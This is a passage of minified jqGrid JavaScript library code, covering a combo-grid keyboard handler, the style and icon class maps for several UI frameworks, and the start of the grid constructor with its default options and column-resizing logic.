id='"+e.pager+"'></div>"),Ye("body").append("</div>"),Ye("#"+t).jqGrid(e),Ye("#"+t).jqGrid("bindKeys",{onSelectRow:!1}),Ye("#"+l).attr("autocomplete","off").data("comboGrid",{grid:t,divgrid:r}),document.getElementById(l).getBoundingClientRect());Ye("#"+r).css({"background-color":"inherit",position:"absolute",top:d.top+50+"px",left:d.left+10+"px",zIndex:2e4}).hide(),Ye("#"+l).on("keydown",function(e){var t,r=Ye(this).data("comboGrid").grid,i=Ye(this).data("comboGrid").divgrid,o=this;if(Ye("#"+i).is(":hidden")&&(d=document.getElementById(l).getBoundingClientRect(),Ye("#"+i).show().css({top:d.top+50+"px",left:d.left+10+"px"})),-1<Ye.inArray(e.key,["Enter","Escape","ArrowUp","ArrowDown","ArrowLeft","ArrowRight"])){var a=Ye.Event("keydown");switch(e.key){case"Enter":var n=Ye("#"+r).jqGrid("getRowData",Ye("#"+r)[0].p.selrow);Ye.isEmptyObject(n)||(this.value=n[s.return_fld],Ye("#"+i).hide());break;case"Escape":Ye("#"+i).hide();break;case"ArrowUp":a.keyCode=38,Ye("#"+r).trigger(a);break;case"ArrowDown":a.keyCode=40,Ye("#"+r).trigger(a)}}else t&&clearTimeout(t),setTimeout(function(){Ye("#"+r).jqGrid("filterInput",o.value,{defaultSearch:s.defaultSearch||"bw",selectFirstFound:!0})},100)}),s.data&&("string"==typeof s.data?Ye("#"+t).jqGrid("setGridParam",{url:s.data}):Array.isArray(s.data)&&Ye("#"+t).jqGrid("setGridParam",{data:s.data})),Ye("#"+t).jqGrid("setGridParam",{datatype:i})},inColumnHeader:function(e,t){for(var r=t.length,i=0;i<r;i++)if(t[i].startColumnName===e)return i;return-1},isServiceCol:function(e){return["cb","rn","subgrid","sc"].includes(e)},normalizeDbData:function(r,i){Array.isArray(r)||(r=[r]);for(let t=0;t<r.length;t++)for(let e=0;e<i.length;e++){var o=i[e];if(!Ye.jgrid.isServiceCol(o.name)&&r[t].hasOwnProperty(o.name))switch(o.sorttype||o.stype||o.formatter||"text"){case"int":case"integer":r[t][o.name]=parseInt(r[t][o.name],10);break;case"float":case"number":case"numeric":case"currency":r[t][o.name]=parseFloat(r[t][o.name]);break;case"date":case"datetime":o.formatoptions.reformatAfterEdit=!0,r[t][o.name]=Ye.jgrid.parseDate.call(this,o.formatoptions.newformat,r[t][o.name],o.formatoptions.srcformat||"Y-m-d")}}return r},isVisible:function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},styleUI:{jQueryUI:{common:{disabled:"ui-state-disabled",highlight:"ui-state-highlight",hover:"ui-state-hover",cornerall:"ui-corner-all",cornertop:"ui-corner-top",cornerbottom:"ui-corner-bottom",hidden:"ui-helper-hidden",icon_base:"ui-icon",overlay:"ui-widget-overlay",active:"ui-state-active",error:"ui-state-error",button:"ui-state-default ui-corner-all",content:"ui-widget-content",shadow:""},base:{entrieBox:"ui-widget ui-widget-content ui-corner-all",viewBox:"",headerTable:"",headerBox:"ui-state-default",rowTable:"",rowBox:"ui-widget-content",stripedTable:"ui-jqgrid-table-striped",footerTable:"",footerBox:"ui-widget-content",headerRowTable:"",headerRowBox:"ui-widget-content",headerDiv:"ui-state-default",gridtitleBox:"ui-widget-header ui-corner-top ui-helper-clearfix",customtoolbarBox:"ui-state-default",loadingBox:"ui-state-default ui-state-active",rownumBox:"ui-state-default",scrollBox:"ui-widget-content",multiBox:"",searchBox:"ui-widget-content ui-corner-all",searchSelect:"ui-widget-content ui-corner-all",pagerBox:"ui-state-default ui-corner-bottom",pagerTable:"",toppagerBox:"ui-state-default",pgInput:"ui-corner-all",pgSelectBox:"ui-widget-content ui-corner-all",pgButtonBox:"ui-corner-all",icon_first:"ui-icon-seek-first",icon_prev:"ui-icon-seek-prev",icon_next:"ui-icon-seek-next",icon_end:"ui-icon-seek-end",icon_asc:"ui-icon-triangle-1-n",icon_desc:"ui-icon-triangle-1-s",icon_caption_open:"ui-icon-circle-triangle-n",icon_caption_close:"ui-icon-circle-triangle-s"},modal:{modal:"ui-widget ui-widget-content ui-corner-all ui-dialog",header:"ui-widget-header ui-corner-all ui-helper-clearfix",content:"ui-widget-content",body:"ui-widget-content",footer:"ui-widget-content",resizable:"ui-resizable-handle ui-resizable-se",icon_close:"ui-icon-closethick",icon_resizable:"ui-icon-gripsmall-diagonal-se"},celledit:{inputClass:"ui-widget-content ui-corner-all",selectClass:"ui-widget-content ui-corner-all"},inlinedit:{inputClass:"ui-widget-content ui-corner-all",selectClass:"ui-widget-content ui-corner-all",icon_edit_nav:"ui-icon-pencil",icon_add_nav:"ui-icon-plus",icon_save_nav:"ui-icon-disk",icon_cancel_nav:"ui-icon-cancel"},formedit:{labelClass:"",inputClass:"ui-widget-content ui-corner-all",selectClass:"ui-widget-content ui-corner-all",icon_prev:"ui-icon-triangle-1-w",icon_next:"ui-icon-triangle-1-e",icon_save:"ui-icon-disk",icon_close:"ui-icon-close",icon_del:"ui-icon-scissors",icon_cancel:"ui-icon-cancel"},navigator:{icon_edit_nav:"ui-icon-pencil",icon_add_nav:"ui-icon-plus",icon_del_nav:"ui-icon-trash",icon_search_nav:"ui-icon-search",icon_refresh_nav:"ui-icon-refresh",icon_view_nav:"ui-icon-document",icon_newbutton_nav:"ui-icon-newwin"},grouping:{icon_plus:"ui-icon-circlesmall-plus",icon_minus:"ui-icon-circlesmall-minus"},filter:{table_widget:"ui-widget ui-widget-content",srSelect:"ui-widget-content ui-corner-all",srInput:"ui-widget-content ui-corner-all",menu_widget:"ui-widget ui-widget-content ui-corner-all",icon_search:"ui-icon-search",icon_reset:"ui-icon-arrowreturnthick-1-w",icon_query:"ui-icon-comment"},subgrid:{icon_plus:"ui-icon-plus",icon_minus:"ui-icon-minus",icon_open:"ui-icon-carat-1-sw"},treegrid:{icon_plus:"ui-icon-triangle-1-",icon_minus:"ui-icon-triangle-1-s",icon_leaf:"ui-icon-radio-off"},fmatter:{icon_edit:"ui-icon-pencil",icon_add:"ui-icon-plus",icon_save:"ui-icon-disk",icon_cancel:"ui-icon-cancel",icon_del:"ui-icon-trash"},colmenu:{menu_widget:"ui-widget ui-widget-content ui-corner-all",input_checkbox:"ui-widget ui-widget-content",filter_select:"ui-widget-content ui-corner-all",filter_input:"ui-widget-content ui-corner-all",icon_menu:"ui-icon-comment",icon_search_menu:"ui-icon-grip-dotted-vertical",icon_sort_asc:"ui-icon-arrow-1-n",icon_sort_desc:"ui-icon-arrow-1-s",icon_columns:"ui-icon-extlink",icon_filter:"ui-icon-calculator",icon_group:"ui-icon-grip-solid-horizontal",icon_freeze:"ui-icon-grip-solid-vertical",icon_move:"ui-icon-arrow-4",icon_new_item:"ui-icon-newwin",icon_toolbar_menu:"ui-icon-document",icon_group_op:"ui-icon-bullet",icon_oper_op:"ui-icon-transfer-e-w",icon_reset:"ui-icon-arrowreturnthick-1-w",icon_close:"ui-icon-close"}},Bootstrap:{common:{disabled:"ui-disabled",highlight:"success",hover:"active",cornerall:"",cornertop:"",cornerbottom:"",hidden:"",icon_base:"glyphicon",overlay:"ui-overlay",active:"active",error:"bg-danger",button:"btn btn-default",content:"",shadow:""},base:{entrieBox:"",viewBox:"table-responsive",headerTable:"table table-bordered",headerBox:"",rowTable:"table table-bordered",rowBox:"",stripedTable:"table-striped",footerTable:"table table-bordered",footerBox:"",headerRowTable:"table table-bordered",headerRowBox:"",headerDiv:"",gridtitleBox:"",customtoolbarBox:"",loadingBox:"row",rownumBox:"active",scrollBox:"",multiBox:"checkbox",pagerBox:"",pagerTable:"table",toppagerBox:"",pgInput:"form-control",pgSelectBox:"form-control",pgButtonBox:"",icon_first:"glyphicon-step-backward",icon_prev:"glyphicon-backward",icon_next:"glyphicon-forward",icon_end:"glyphicon-step-forward",icon_asc:"glyphicon-triangle-top",icon_desc:"glyphicon-triangle-bottom",icon_caption_open:"glyphicon-circle-arrow-up",icon_caption_close:"glyphicon-circle-arrow-down"},modal:{modal:"modal",content:"modal-content",header:"modal-header",title:"modal-title",body:"modal-body",footer:"modal-footer",resizable:"ui-resizable-handle ui-resizable-se",icon_close:"glyphicon-remove-circle",icon_resizable:"glyphicon-import"},celledit:{inputClass:"form-control",selectClass:"form-control"},inlinedit:{inputClass:"form-control",selectClass:"form-control",icon_edit_nav:"glyphicon-edit",icon_add_nav:"glyphicon-plus",icon_save_nav:"glyphicon-save",icon_cancel_nav:"glyphicon-remove-circle"},formedit:{labelClass:"",inputClass:"form-control",selectClass:"form-control",icon_prev:"glyphicon-step-backward",icon_next:"glyphicon-step-forward",icon_save:"glyphicon-save",icon_close:"glyphicon-remove-circle",icon_del:"glyphicon-trash",icon_cancel:"glyphicon-remove-circle"},navigator:{icon_edit_nav:"glyphicon-edit",icon_add_nav:"glyphicon-plus",icon_del_nav:"glyphicon-trash",icon_search_nav:"glyphicon-search",icon_refresh_nav:"glyphicon-refresh",icon_view_nav:"glyphicon-info-sign",icon_newbutton_nav:"glyphicon-new-window"},grouping:{icon_plus:"glyphicon-triangle-right",icon_minus:"glyphicon-triangle-bottom"},filter:{table_widget:"table table-condensed",srSelect:"form-control",srInput:"form-control",menu_widget:"",icon_search:"glyphicon-search",icon_reset:"glyphicon-refresh",icon_query:"glyphicon-comment"},subgrid:{icon_plus:"glyphicon-triangle-right",icon_minus:"glyphicon-triangle-bottom",icon_open:"glyphicon-indent-left"},treegrid:{icon_plus:"glyphicon-triangle-right",icon_minus:"glyphicon-triangle-bottom",icon_leaf:"glyphicon-unchecked"},fmatter:{icon_edit:"glyphicon-edit",icon_add:"glyphicon-plus",icon_save:"glyphicon-save",icon_cancel:"glyphicon-remove-circle",icon_del:"glyphicon-trash"},colmenu:{menu_widget:"",input_checkbox:"",filter_select:"form-control",filter_input:"form-control",icon_menu:"glyphicon-menu-hamburger",icon_sort_asc:"glyphicon-sort-by-alphabet",icon_sort_desc:"glyphicon-sort-by-alphabet-alt",icon_columns:"glyphicon-list-alt",icon_filter:"glyphicon-filter",icon_group:"glyphicon-align-left",icon_freeze:"glyphicon-object-align-horizontal",icon_move:"glyphicon-move",icon_new_item:"glyphicon-new-window",icon_toolbar_menu:"glyphicon-menu-hamburger"}},Bootstrap4:{common:{disabled:"ui-disabled",highlight:"table-success",hover:"table-active",cornerall:"",cornertop:"",cornerbottom:"",hidden:"",overlay:"ui-overlay",active:"active",error:"alert-danger",button:"btn btn-light",content:"",shadow:"shadow p-3 mb-5 bg-white rounded"},base:{entrieBox:"",viewBox:"table-responsive",headerTable:"table table-bordered",headerBox:"",rowTable:"table table-bordered",rowBox:"",stripedTable:"table-striped",footerTable:"table table-bordered",footerBox:"",headerRowTable:"table table-bordered",headerRowBox:"",headerDiv:"",gridtitleBox:"",customtoolbarBox:"",loadingBox:"row",rownumBox:"active",scrollBox:"",multiBox:"checkbox",searchBox:"form-control",searchSelect:"form-control form-control-sm",pagerBox:"",pagerTable:"table",toppagerBox:"",pgInput:"form-control",pgSelectBox:"form-control",pgButtonBox:""},modal:{modal:"modal",content:"modal-content",header:"modal-header",title:"modal-title",body:"modal-body",footer:"modal-footer",resizable:"ui-resizable-handle ui-resizable-se",icon_close:"oi-circle-x",icon_resizable:"oi-circle-x"},celledit:{inputClass:"form-control",selectClass:"form-control"},inlinedit:{inputClass:"form-control",selectClass:"form-control"},formedit:{labelClass:"form-label",inputClass:"form-control",selectClass:"form-control"},navigator:{},grouping:{},filter:{table_widget:"table table-condensed",srSelect:"form-control",srInput:"form-control",menu_widget:""},subgrid:{},treegrid:{},fmatter:{},colmenu:{menu_widget:"",input_checkbox:"",filter_select:"form-control",filter_input:"form-control"}},Bootstrap5:{common:{disabled:"ui-disabled",highlight:"table-success",hover:"table-active",cornerall:"",cornertop:"",cornerbottom:"",hidden:"",overlay:"ui-overlay",active:"active",error:"alert alert-danger",button:"btn btn-light",content:"",shadow:"shadow p-3 mb-5 bg-body rounded"},base:{entrieBox:"",viewBox:"table-responsive",headerTable:"table table-bordered",headerBox:"",rowTable:"table table-bordered",rowBox:"",stripedTable:"table-striped",footerTable:"table table-bordered",footerBox:"",headerRowTable:"table table-bordered",headerRowBox:"",headerDiv:"",gridtitleBox:"",customtoolbarBox:"",loadingBox:"row",rownumBox:"active",scrollBox:"",multiBox:"checkbox",searchBox:"form-control",searchSelect:"form-select",pagerBox:"",pagerTable:"table",toppagerBox:"",pgInput:"form-control",pgSelectBox:"form-select",pgButtonBox:""},modal:{modal:"modal",header:"modal-header",title:"modal-title",content:"modal-content",body:"modal-body",footer:"modal-footer",resizable:"ui-resizable-handle ui-resizable-se",icon_close:"oi-circle-x",icon_resizable:"oi-circle-x"},celledit:{inputClass:"form-control",selectClass:"form-select"},inlinedit:{inputClass:"form-control",selectClass:"form-select"},formedit:{labelClass:"form-label",inputClass:"form-control",selectClass:"form-select"},navigator:{},grouping:{},filter:{table_widget:"table table-sm",srSelect:"form-select",srInput:"form-control",menu_widget:""},subgrid:{},treegrid:{},fmatter:{},colmenu:{menu_widget:"",input_checkbox:"",filter_select:"form-select",filter_input:"form-control"}}},iconSet:{Iconic:{common:{icon_base:"oi"},base:{icon_first:"oi-media-step-backward",icon_prev:"oi-caret-left",icon_next:"oi-caret-right",icon_end:"oi-media-step-forward",icon_asc:"oi-caret-top",icon_desc:"oi-caret-bottom",icon_caption_open:"oi-collapse-up",icon_caption_close:"oi-expand-down"},modal:{icon_close:"oi-circle-x",icon_resizable:"oi-plus"},inlinedit:{icon_edit_nav:"oi-pencil",icon_add_nav:"oi-plus",icon_save_nav:"oi-check",icon_cancel_nav:"oi-action-undo"},formedit:{icon_prev:"oi-chevron-left",icon_next:"oi-chevron-right",icon_save:"oi-check",icon_close:"oi-ban",icon_del:"oi-delete",icon_cancel:"oi-ban"},navigator:{icon_edit_nav:"oi-pencil",icon_add_nav:"oi-plus",icon_del_nav:"oi-trash",icon_search_nav:"oi-zoom-in",icon_refresh_nav:"oi-reload",icon_view_nav:"oi-browser",icon_newbutton_nav:"oi-book"},grouping:{icon_plus:"oi-caret-right",icon_minus:"oi-caret-bottom"},filter:{icon_search:"oi-magnifying-glass",icon_reset:"oi-reload",icon_query:"oi-comment-square"},subgrid:{icon_plus:"oi-chevron-right",icon_minus:"oi-chevron-bottom",icon_open:"oi-expand-left"},treegrid:{icon_plus:"oi-plus",icon_minus:"oi-minus",icon_leaf:"oi-media-record"},fmatter:{icon_edit:"oi-pencil",icon_add:"oi-plus",icon_save:"oi-check",icon_cancel:"oi-action-undo",icon_del:"oi-trash"},colmenu:{icon_menu:"oi-list",icon_sort_asc:"oi-sort-ascending",icon_sort_desc:"oi-sort-descending",icon_columns:"oi-project",icon_filter:"oi-magnifying-glass",icon_group:"oi-list-rich",icon_freeze:"oi-spreadsheet",icon_move:"oi-move",icon_new_item:"oi-external-link",icon_toolbar_menu:"oi-menu",icon_group_op:"",icon_oper_op:"",icon_reset:"oi-reload",icon_close:"oi-ban"}},Octicons:{common:{icon_base:"octicon"},base:{icon_first:"octicon-triangle-left",icon_prev:"octicon-chevron-left",icon_next:"octicon-chevron-right",icon_end:"octicon-triangle-right",icon_asc:"octicon-triangle-up",icon_desc:"octicon-triangle-down",icon_caption_open:"octicon-triangle-up",icon_caption_close:"octicon-triangle-down"},modal:{icon_close:"octicon-x",icon_resizable:"octicon-plus"},inlinedit:{icon_edit_nav:"octicon-pencil",icon_add_nav:"octicon-plus",icon_save_nav:"octicon-check",icon_cancel_nav:"octicon-circle-slash"},formedit:{icon_prev:"octicon-chevron-left",icon_next:"octicon-chevron-right",icon_save:"octicon-check",icon_close:"octicon-x",icon_del:"octicon-trashcan",icon_cancel:"octicon-circle-slash"},navigator:{icon_edit_nav:"octicon-pencil",icon_add_nav:"octicon-plus",icon_del_nav:"octicon-trashcan",icon_search_nav:"octicon-search",icon_refresh_nav:"octicon-sync",icon_view_nav:"octicon-file",icon_newbutton_nav:"octicon-link-external"},grouping:{icon_plus:"octicon-triangle-right",icon_minus:"octicon-triangle-down"},filter:{icon_search:"octicon-search",icon_reset:"octicon-sync",icon_query:"octicon-file-code"},subgrid:{icon_plus:"octicon-triangle-right",icon_minus:"octicon-triangle-down",icon_open:"octicon-git-merge"},treegrid:{icon_plus:"octicon-triangle-right",icon_minus:"octicon-triangle-down",icon_leaf:"octicon-primitive-dot"},fmatter:{icon_edit:"octicon-pencil",icon_add:"octicon-plus",icon_save:"octicon-check",icon_cancel:"octicon-circle-slash",icon_del:"octicon-trashcan"},colmenu:{icon_menu:"octicon-grabber",icon_sort_asc:"octicon-arrow-up",icon_sort_desc:"octicon-arrow-down",icon_columns:"octicon-repo",icon_filter:"octicon-search",icon_group:"octicon-list-unordered",icon_freeze:"octicon-repo",icon_move:"octicon-git-compare",icon_new_item:"octicon-link-external",icon_toolbar_menu:"octicon-three-bars",icon_group_op:"",icon_oper_op:"",icon_reset:"octicon-sync",icon_close:"octicon-x"}},fontAwesome:{common:{icon_base:"fas"},base:{icon_first:"fa-step-backward",icon_prev:"fa-backward",icon_next:"fa-forward",icon_end:"fa-step-forward",icon_asc:"fa-caret-up",icon_desc:"fa-caret-down",icon_caption_open:"fa-caret-square-up",icon_caption_close:"fa-caret-square-down "},modal:{icon_close:"fa-window-close",icon_resizable:"fa-plus"},inlinedit:{icon_edit_nav:"fa-edit",icon_add_nav:"fa-plus",icon_save_nav:"fa-save",icon_cancel_nav:"fa-replay"},formedit:{icon_prev:"fa-chevron-left",icon_next:"fa-chevron-right",icon_save:"fa-save",icon_close:"fa-window-close",icon_del:"fa-trash",icon_cancel:"fa-times"},navigator:{icon_edit_nav:"fa-edit",icon_add_nav:"fa-plus",icon_del_nav:"fa-trash",icon_search_nav:"fa-search",icon_refresh_nav:"fa-sync",icon_view_nav:"fa-sticky-note",icon_newbutton_nav:"fa-external-link-alt"},grouping:{icon_plus:"fa-caret-right",icon_minus:"fa-caret-down"},filter:{icon_search:"fa-search",icon_reset:"fa-reply",icon_query:"fa-pen-square "},subgrid:{icon_plus:"fa-arrow-circle-right",icon_minus:"fa-arrow-circle-down",icon_open:"fa-ellipsis-v"},treegrid:{icon_plus:"fa-plus",icon_minus:"fa-minus",icon_leaf:"fa-circle"},fmatter:{icon_edit:"fa-edit",icon_add:"fa-plus",icon_save:"fa-save",icon_cancel:"fa-undo",icon_del:"fa-trash"},colmenu:{icon_menu:"fa-ellipsis-v",icon_sort_asc:"fa-sort-amount-up",icon_sort_desc:"fa-sort-amount-down",icon_columns:"fa-columns",icon_filter:"fa-filter",icon_group:"fa-object-group",icon_freeze:"fa-snowflake",icon_move:"fa-expand-arrows-alt",icon_new_item:"fa-external-link-alt",icon_toolbar_menu:"fa-list",icon_group_op:"",icon_oper_op:"",icon_reset:"fa-reply",icon_close:"fa-window-close"}},Bootstrap5:{common:{icon_base:"bi"},base:{icon_first:"bi-chevron-bar-left",icon_prev:"bi-chevron-left",icon_next:"bi-chevron-right",icon_end:"bi-chevron-bar-right",icon_asc:"bi-caret-up-fill",icon_desc:"bi-caret-down-fill",icon_caption_open:"bi-arrows-collapse",icon_caption_close:"bi-arrows-expand"},modal:{icon_close:"bi-x-lg",icon_resizable:"bi-box-arrow-in-down-right"},inlinedit:{icon_edit_nav:"bi-pencil-square",icon_add_nav:"bi-plus-square",icon_save_nav:"bi-save",icon_cancel_nav:"bi-x-square"},formedit:{icon_prev:"bi-chevron-left",icon_next:"bi-chevron-right",icon_save:"bi-save",icon_close:"bi-x-square",icon_del:"bi-trash",icon_cancel:"bi-x-octagon"},navigator:{icon_edit_nav:"bi-pencil-square",icon_add_nav:"bi-plus-square",icon_del_nav:"bi-trash",icon_search_nav:"bi-search",icon_refresh_nav:"bi-arrow-clockwise",icon_view_nav:"bi-view-list",icon_newbutton_nav:"bi-window"},grouping:{icon_plus:"bi-caret-right",icon_minus:"bi-caret-down"},filter:{icon_search:"bi-search",icon_reset:"bi-arrow-clockwise",icon_query:"bi-journal-code"},subgrid:{icon_plus:"bi-chevron-right",icon_minus:"bi-chevron-down",icon_open:"bi-arrow-bar-right"},treegrid:{icon_plus:"bi-plus-square-dotted",icon_minus:"bi-dash-square-dotted",icon_leaf:"bi-circle"},fmatter:{icon_edit:"bi-pencil-square",icon_add:"bi-plus-square",icon_save:"bi-save",icon_cancel:"bi-x-square",icon_del:"bi-trash"},colmenu:{icon_menu:"bi-list",icon_sort_asc:"bi-sort-alpha-down",icon_sort_desc:"bi-sort-alpha-up",icon_columns:"bi-columns",icon_filter:"bi-search",icon_group:"bi-collection-play",icon_freeze:"bi-layout-text-sidebar-reverse",icon_move:"bi-arrows-move",icon_new_item:"bi-window",icon_toolbar_menu:"bi-card-text",icon_group_op:"",icon_oper_op:"",icon_reset:"bi-arrow-clockwise",icon_close:"bi-x-square"}}}}),Ye.fn.jqGrid=function($e){if("string"!=typeof $e)return this.each(function(){if(!this.grid){Ye.jgrid.isNull($e)||void 0===$e.data||(N=$e.data,$e.data=[]);var b=Ye.extend(!0,{url:"",height:150,defaultColWidth:150,page:1,rowNum:20,rowTotal:null,records:0,pager:"",pgbuttons:!0,pginput:!0,colModel:[],rowList:[],colNames:[],sortorder:"asc",sortname:"",datatype:"xml",mtype:"GET",altRows:!1,selarrrow:[],preserveSelection:!1,savedRow:[],shrinkToFit:!0,xmlReader:{},jsonReader:{},subGrid:!1,subGridModel:[],reccount:0,lastpage:0,lastsort:0,selrow:null,beforeSelectRow:null,onSelectRow:null,onSortCol:null,ondblClickRow:null,onRightClickRow:null,onPaging:null,onSelectAll:null,onInitGrid:null,loadComplete:null,gridComplete:null,loadError:null,loadBeforeSend:null,afterInsertRow:null,beforeRequest:null,beforeProcessing:null,onHeaderClick:null,viewrecords:!1,loadonce:!1,multiselect:!1,multikey:!1,multiboxonly:!1,multimail:!1,multiselectWidth:30,onMultiSleect:null,editurl:null,search:!1,caption:"",hidegrid:!0,hiddengrid:!1,postData:{},userData:{},treeGrid:!1,treeGridModel:"nested",treeReader:{},treeANode:-1,ExpandColumn:null,tree_root_level:0,prmNames:{page:"page",rows:"rows",sort:"sidx",order:"sord",search:"_search",nd:"nd",id:"id",oper:"oper",editoper:"edit",addoper:"add",deloper:"del",subgridid:"id",npage:null,totalrows:"totalrows"},forceFit:!1,gridstate:"visible",cellEdit:!1,cellsubmit:"remote",nv:0,loadui:"enable",toolbar:[!1,""],scroll:!1,deselectAfterSort:!0,scrollrows:!1,autowidth:!1,scrollOffset:Ye.jgrid.scrollbarWidth()+3,cellLayout:5,subGridWidth:20,gridview:!0,rownumWidth:35,rownumbers:!1,pagerpos:"center",recordpos:"right",footerrow:!1,userDataOnFooter:!1,headerrow:!1,userDataOnHeader:!1,hoverrows:!0,viewsortcols:[!1,"vertical",!0],resizeclass:"",autoencode:!1,remapColumns:[],ajaxGridOptions:{},direction:"ltr",toppager:!1,headertitles:!1,scrollTimeout:40,data:[],_index:{},grouping:!1,groupingView:{groupField:[],groupOrder:[],groupText:[],groupColumnShow:[],groupSummary:[],showSummaryOnHide:!1,sortitems:[],sortnames:[],summary:[],summaryval:[],plusicon:"",minusicon:"",displayField:[],groupSummaryPos:[],formatDisplayField:[],_locgr:!1},groupHeaderOn:!1,ignoreCase:!0,cmTemplate:{},idPrefix:"",multiSort:!1,minColWidth:33,minGridWidth:100,maxGridWidth:3e3,scrollPopUp:!1,scrollTopOffset:0,scrollLeftOffset:"100%",scrollMaxBuffer:0,storeNavOptions:!1,regional:"en",styleUI:"jQueryUI",iconSet:"Iconic",responsive:!1,forcePgButtons:!1,resizeHeight:!0,restoreCellonFail:!0,editNextRowCell:!1,colFilters:{},colMenu:!1,colMenuCustom:{},colMenuColumnDone:null,colMenuBeforeProcess:null,colSpanHeader:[],treeGrid_bigData:!1,treeGrid_rootParams:{otherData:{}},treeGrid_beforeRequest:null,treeGrid_afterLoadComplete:null,useNameForSearch:!1,formatFooterData:!1,formatHeaderData:!1,mergeSearch:!1,searchModules:{mergeOper:"AND",filterInput:!0,filterToolbar:!0,searchGrid:!0,colMenuSearch:!0},emptyRecordRow:!0,ariaBody:!1,searchCols:!1,searchColOptions:{colWidth:90,searchOp:"OR",operand:"cn",useCase:!1,colName:"Search Col",colmenu:!0,searchOnEnter:!0,aOperands:["cn","bw","ew","eq","ne"],_cnth:["cb","rn","sc","subgrid","col_name"],visibleColumns:[]},dbconfig:{dbname:"",dbversion:-1,dbtable:"",deleteIfExists:!1,loadIfExists:!1,isKeyInData:!1,dataUrl:"",reader:null,beforeInsertData:null,fetchOptions:{}}},Ye.jgrid.defaults,$e),Q=(void 0!==N&&(b.data=N,$e.data=N),this),x={headers:[],cols:[],footers:[],hrheaders:[],dragStart:function(e,t,r){var i=Ye(this.bDiv).offset().left,o=parseInt(b.colModel[e].minResizeWidth||b.minColWidth,10);isNaN(o)&&(o=33),this.resizing={idx:e,startX:t.pageX,sOL:t.pageX-i,minW:o},this.hDiv.style.cursor="col-resize",this.curGbox=Ye("#rs_m"+Ye.jgrid.jqID(b.id),"#gbox_"+Ye.jgrid.jqID(b.id)),this.curGbox.css({display:"block",left:t.pageX-i,top:r[1],height:r[2]}),Ye(Q).triggerHandler("jqGridResizeStart",[t,e]),Ye.jgrid.isFunction(b.resizeStart)&&b.resizeStart.call(Q,t,e),document.onselectstart=function(){return!1}},dragMove:function(e){var t,r,i,o;this.resizing&&(e=e.pageX-this.resizing.startX,t=this.headers[this.resizing.idx],(r="ltr"===b.direction?t.width+e:t.width-e)>this.resizing.minW)&&(this.curGbox.css({left:this.resizing.sOL+e}),!0===b.forceFit?(i=this.headers[this.resizing.idx+b.nv],(o="ltr"===b.direction?i.width-e:i.width+e)>this.resizing.minW&&(t.newWidth=r,i.newWidth=o)):(this.newWidth="ltr"===b.direction?b.tblwidth+e:b.tblwidth-e,t.newWidth=r))},dragEnd:function(e,t){var r,i;this.hDiv.style.cursor="default",void 0===t&&(t=!0),this.resizing&&(r=this.resizing.idx,i=this.headers[r].newWidth||this.headers[r].width,i=parseFloat(i),this.resizing=!1,Ye("#rs_m"+Ye.jgrid.jqID(b.id)).css("display","none"),b.colModel[r].width=i,this.headers[r].width=i,this.headers[r].el.style.width=i+"px",this.cols[r].style.width=i+"px",0<this.footers.length&&(this.footers[r].style.width=i+"px"),0<this.hrheaders.length&&(this.hrheaders[r].style.width=i+"px"),!0===b.forceFit?(i=this.headers[r+b.nv].newWidth||this.headers[r+b.nv].width,this.headers[r+b.nv].width=i,this.headers[r+b.nv].el.style.width=i+"px",this.cols[r+b.nv].style.width=i+"px",0<this.footers.length&&(this.footers[r+b.nv].style.width=i+"px"),0<this.hrheaders.length&&(this.hrheaders[r+b.nv].style.width=i+"px"),b.colModel[r+b.nv].width=i):(b.tblwidth=this.newWidth||b.tblwidth,Ye(this.bDiv).find("table").first().css("width",b.tblwidth+"px"),Ye(this.hDiv).find("table").first().css("width",b.tblwidth+"px"),this.hDiv.scrollLeft=this.bDiv.scrollLeft,b.footerrow&&(Ye(this.sDiv).find("table").first().css("width",b.tblwidth+"px"),this.sDiv.scrollLeft=this.bDiv.scrollLeft),b.headerrow&&(Ye(this.hrDiv).find("table").first().css("width",b.tblwidth+"px"),this.hrDiv.scrollLeft=this.bDiv.scrollLeft)),e&&(Ye(Q).triggerHandler("jqGridResizeStop",[i,r]),Ye.jgrid.isFunction(b.resizeStop))&&b.resizeStop.call(Q,i,r),b.frozenColumns)&&t&&(Ye("#"+Ye.jgrid.jqID(b.id)).jqGrid("destroyFrozenColumns"),Ye("#"+Ye.jgrid.jqID(b.id)).jqGrid("setFrozenColumns")),this.curGbox=null,document.onselectstart=function(){return!0}},populateVisible:function(){x.timer&&clearTimeout(x.timer),x.timer=null;var e=Ye(x.bDiv).height();if(e){var t,r,i,o,a,n,l,s,d,p=Ye(x.bDiv).find("table").first();if(p[0].rows.length)try{t=(r=p[0].rows[1])&&Ye(r).outerHeight()||x.prevRowHeight}catch(e){t=x.prevRowHeight}t&&(x.prevRowHeight=t,r=b.rowNum,i=x.scrollTop=x.bDiv.scrollTop,n=t*r,(a=(o=Math.round(p.position().top)-i)+p.height())<e&&o<=0&&(void 0===b.lastpage||(parseInt((a+i+n-1)/n,10)||0)<=b.lastpage)&&(s=parseInt((e-a+n-1)/n,10)||1,o=0<=a||s<2||!0===b.scroll?(l=(Math.round((a+i)/n)||0)+1,-1):1),0<o&&(l=(parseInt(i/n,10)||0)+1,s=(parseInt((i+e)/n,10)||0)+2-l,d=!0),!s||b.lastpage&&(l>b.lastpage||1===b.lastpage||l===b.page&&l===b.lastpage)||(x.hDiv.loading?x.timer=setTimeout(x.populateVisible,b.scrollTimeout):(b.page=l,(d=0<b.scrollMaxBuffer&&(0<r&&b.scrollMaxBuffer<r&&(b.scrollMaxBuffer=r+1),b.reccount>b.scrollMaxBuffer-(0<r?r:0))?!0:d)&&(x.selectionPreserver(p[0]),x.emptyRows.call(p[0],!1,!1)),x.populate(s)),b.scrollPopUp&&!Ye.jgrid.isNull(b.lastpage)&&(Ye("#scroll_g"+b.id).show().html(Ye.jgrid.template(Ye.jgrid.getRegional(Q,"defaults.pgtext",b.pgtext),b.page,b.lastpage)).css({top:b.scrollTopOffset+i*((parseInt(b.height,10)-45)/(parseInt(t,10)*parseInt(b.records,10)))+"px",left:b.scrollLeftOffset}),Ye(this).mouseout(function(){Ye("#scroll_g"+b.id).hide()}))))}},scrollGrid:function(){if(!x.bScroll){var e;x.hScroll=!0,b.scroll&&(e=x.bDiv.scrollTop,void 